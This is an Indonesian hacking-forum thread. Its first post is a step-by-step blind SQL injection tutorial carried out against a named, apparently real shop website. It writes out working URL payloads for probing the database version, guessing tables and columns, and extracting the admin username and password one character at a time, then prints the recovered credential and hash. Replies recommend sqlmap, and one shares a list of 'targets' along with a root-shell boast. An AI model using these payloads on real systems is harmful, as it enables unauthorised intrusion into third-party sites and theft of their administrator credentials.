[Share] Tutorial Blind SQL Injection (Jabodetabek)
#1
Okeh, di kesempatan ini IBTeam Jabodetabek membahas tentang Blind Sql Injection. Disini kami akan mempersentasikan apa yang dimaksud Blind Sql Injection dan Bagaimana seorang penyerang memanfaatkan bug Blind Sql Injection ini. Disini kami menjelaskan bagaimana cara penyerang menyerang kelemahan didalam database sebuah website menggunakan cara SQL Injection, Dimana website tersebut tidak memperlihatkan pesan kesalahan pada web tersebut. Jadi apa yang harus dilakukan penyerang ?? Hanya menggunakan cara SQL Injection ? Oh Tidak Bisa :v
[hide]

Jadi apakah Blind Sql Injection itu ?? wkwkwkwkkw Pasti bertanya - tanya bukan ? :v Okeh kita mulai. kita telaah dulu apa perbedaan Sql Injection dan Blind SQL Injection. Didalam Sql Injection seorang penyerang dapat dengan mudah menemukan kelemahan suatu web, karena terdapat sebuah pesan kesalahan SQL database dengan menambahkan sebuah clue di URL web tersebut, berbeda dengan Blind SQL Injection, dmana seorang penyerang tidak menemukan pesan kesalahan meskipun dia menambahkan clue di URL Web tersebut. Meskipun begitu penyerang dapat tetap meneruskan penyerangannya dengan menggunakan kelemahan Blind SQL Injection. Sebagai Contoh :

Ini merupakan sebuah website yang dibuat oleh teman saya, dan iseng - iseng mencari kelemahan Blind SQL Injection sebut saja Rumah Dekor :v

Quote:#Alamat URL
http://rumahdekor.com/detail_produk.php?id_produk=89

Dari URL tersebut kita bisa mencoba kedalam query SQL sederhana dengan menggunakan query select seperti dibawah ini

Quote:"SELECT * FROM produk WHERE id_produk=89;

Kita umpamakan tabel brother kita sebut saja tabel produk , Tapi bagaimana penyerang memanfaatkan query SQL tersebut kedalam URL ?? Kita coba beberapa kemungkinan :

Quote:1. Menambahkan ekspresi ' or * pada URL tersebut Contoh :
http://rumahdekor.com/detail_produk.php?id_produk=89'
[Image: 1391456_680936961916915_1364043678_n.jpg]
Biasanya tidak akan menampilkan pesan kesalahan dalam web tersebut, tetapi akan membuat kosong halaman web yang kita buka.
2. Menambahan sebuah Ekspresi Boolean pada URL
http://rumahdekor.com/detail_produk.php?id_produk=89 and 1=1
[Image: 1394100_680936665250278_2101088725_n.jpg]

Jika kita masukkan Url tersebut kedalam bentuk query SQL maka menjadi seperti ini

Quote:"SELECT * FROM produk WHERE id_produk=89 and 1=1" --> query ini akan berhasil di eksekusi oleh query SQL karena nilai dari boolean adalah TRUE=TRUE; Berbeda jika kita menjalankannya dengan menambahkan clue "and 1=2" maka produk yang dimaksud tidak akan tampil dalam web, karena mempunyai kondisi TRUE=FALSE;

Okeh Cukup sampai sekian dulu penjelasan dari Blind SQL Injection, Kita lanjutkan tahap selanjutnya .
Selanjutnya kita ingin melihat Versi dari database yang digunakan di web tersebut, caranya adalah:

Quote:http://rumahdekor.com/detail_produk.php?...ion,1,1)=4--+- --> Mysql 4.xx
Quote:http://rumahdekor.com/detail_produk.php?...ion,1,1)=5--+- --> Mysql 5.xx

Nah disini saatnya anda dilatih untuk memainkan imajinasi anda untuk menebak semua kemungkinan untuk mencari tabel apa yang bisa membuat kita masuk kedalam halaman admin web tersebut: saya contohkan seperti ini

Quote:"tbl_admin, admin, administrator,tb_admin, tb_user, users, user, dsb"

Setelah membuat semua kemunkinaan maka kita masukan query ini kedalam url web tersebut
Quote:"and (select 1 from tbl_kemuungkinan limit 0,1)1" --> jika dimasukkan kedalam URL
"http://rumahdekor.com/detail_produk.php?id_produk=89+and+(select+1+from+users+limit+0,1)=1" --> Salah Tabel
[Image: 1391456_680936961916915_1364043678_n.jpg]
Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+(select+1+from+user+limit+0,1)=1" --> Benar Tabel
[Image: 1384159_680936898583588_1223175262_n.jpg]

Setelah mencari tabel sekarang saat nya untuk mencari apa yang dinamakan dengan kolom/field dalam sebuah database, dan disini juga kita dilatih untuk melatih imajinasi kita dalam database, sebagai contoh:
Quote:"user, username, admin, login, administrator, pengguna, dsb"
--> tidak bertanggung jawab dalam bahasa lain. :v. cara mencari kolom tersebut adalah dengan memasukan query ini kedalam URL:
Quote:"+and+(select+substring(concat(1,kolom_kemungkinan),1,1)+from+tabel_user+limit+0,1)=1--+-"
Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+(select+substring(concat(1,users),1,1)+from+user+limit+0,1)=1--+-" --> Salah Kolom
[Image: 1001547_680936818583596_1800477596_n.jpg]
Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+(select+substring(concat(1,username),1,1)+from+user+limit+0,1)=1--+-" --> Benar Kolom
[Image: 1000515_680936878583590_1537119331_n.jpg]
Cara diatas (mencari kolom Username) sama seperti yang digunakan untuk mencari kolom password dan userID dalam Database.
di Web Tersebut saya menemukan untuk
Quote:field userid=user_id, username=username dan password=password --> ini Field bukan isi record :v

Nah setelah semua kolom diketahui dalam database web tersebut, maka sekarang saatnya di penyerang mencari isi record dalam database web tersebut dengan menggunakan ASCII untuk membaca username + password dari si user admin web.
Nah disini kita harus berusaha keras untuk mencari beberapa huruf dan angka yang akan kita gunakan untuk bisa masuk menjadi seorang admin web dalam web tersebut. Ini merupakan bagian yang paling banyak memakan waktu, mengapa ?? karena kita disini dituntut untuk mencari satu/satu huruf yang membentuk isi record dari kolom user, Baiklah ini caranya :v
Masukkan Query ini kedalam URL
Quote:"+and+ascii(substring((select+concat(username,0x3a,password)+from+user+where+user_id=1),1,1))>1--+-"

Baik saya jelaskan dulu mengapa anda bisa melihat ASCII dan > pada query tersebut? Artinya adalah penyerang ingin merubah query kedalam bentuk ascii , agar kita mendapatkan 1/1 karakter dari username dan password dari tabel User dengan user_id=1 or sbagainya :v

Oke kita mulai untuk mencari Huruf Pertama dari USERNAME:
Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+ascii(substring((select+concat(username,0x3a,password)+from+user+where+user_id=1),1,1))>1--+-"
[Image: 1394100_680936665250278_2101088725_n.jpg]
kita cari huruf pertama > 70 kita coba,

Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+ascii(substring((select+concat(username,0x3a,password)+from+user+where+user_id=1),1,1))>70--+-"
[Image: 1000515_680936878583590_1537119331_n.jpg]
Jika masih tampil isi web, maka teruskan ke angka diatas 70 misalkan 90, 96, 97, dst..
Jika sudah tidak tampil isi web, maka angka itulah huruf pertama dari username itu disini saya menemukan angka 97 dalam ASCII --> DEC= a
[Image: 1379895_680936715250273_1161635368_n.jpg]

Okeh sekarang kita cari huruf kedua dari username dengan cara merubah angka ",1,1" menjadi ",2,1" Untuk huruf ketiga --> ",3,1" DST :v

Seperti ini -->
Quote:"http://rumahdekor.com/detail_produk.php?id_produk=89+and+ascii(substring((select+concat(username,0x3a,password)+from+user+where+user_id=1),2,1))>1--+-"
Untuk mencari nilai ASCII nya sama seperti diatas yaitu merubah >1 menjadi >2 menjadi >3 sampai isi web nya hilang, barulah itu angka yang kita cari : disini ane menemukan huruf angka kedua ASCII = 100 dalam Decimal = d
[Image: 1382324_680936695250275_525879013_n.jpg]
dan akhirnya setelah mencari secara manual akhirnya ketemu juga : ane menemukan username:password adalah
Quote:admin:21232f297a57a5a743894a0e4a801fc3

wwwkwkwkkw udah panjang - panjang di MD5 pula :v ,, [/hide]

Okeh sekian threads dari saya ,, terimakasih Wassalamualaikum Wr.Wb
Nothing Impossible | Learn, Understand, Share | We Are Staff of Expert Zone Technology

#2
aw aw aw berat ilmu nya Big Grin
jadi harus main imajinasi gtu sambil membayangkan cewek Big Grin
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix

#3
Nice breee....

#4
panjang banget -_-" biar sqlmap yang bekerja :v

#5
(10-21-2013, 08:38 PM)junior.riau18 Wrote: panjang banget -_-" biar sqlmap yang bekerja :v

betoooll setuju banget ama tante juni sqlmap is the boss :-bd
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix

#6
wuih :O si @wine trochanter udah ada bintang :O

#7
terkadang ada beberapa website yang di brute blind SQLi oleh SQLMAP tidak bisa...
cara ini sangat berguna Thx For Share Guys.... Smile
Hidup Harus Di Bawa Happy..!!!

#8
wkwkwkwk, ini kan ane share, Biar pada tau, Bagaimana cara kerja Sqlmap saat ngebrute blind sql, Biar ngerti cara kerjanya.
Nothing Impossible | Learn, Understand, Share | We Are Staff of Expert Zone Technology

#9
Jika ingin mencoba tutorial di atas , ane ada target untuk mencoba nya Smile
izin share yak om @ino_ot Smile

http://pastebin.com/cUy61LMK Big Grin
root@isdandreas:~# id
uid=0(equirtal) gid=0(equirtal) groups=0(root)
root@isdandreas:~# whoami
root
root@isdandreas:~# rooted by ISD_andreas

www.isdandreas.org/

#10
wew wew akhirnya di post jga
alpoah@IBTeam:~#


Power Off BODOH






Users browsing this thread: 1 Guest(s)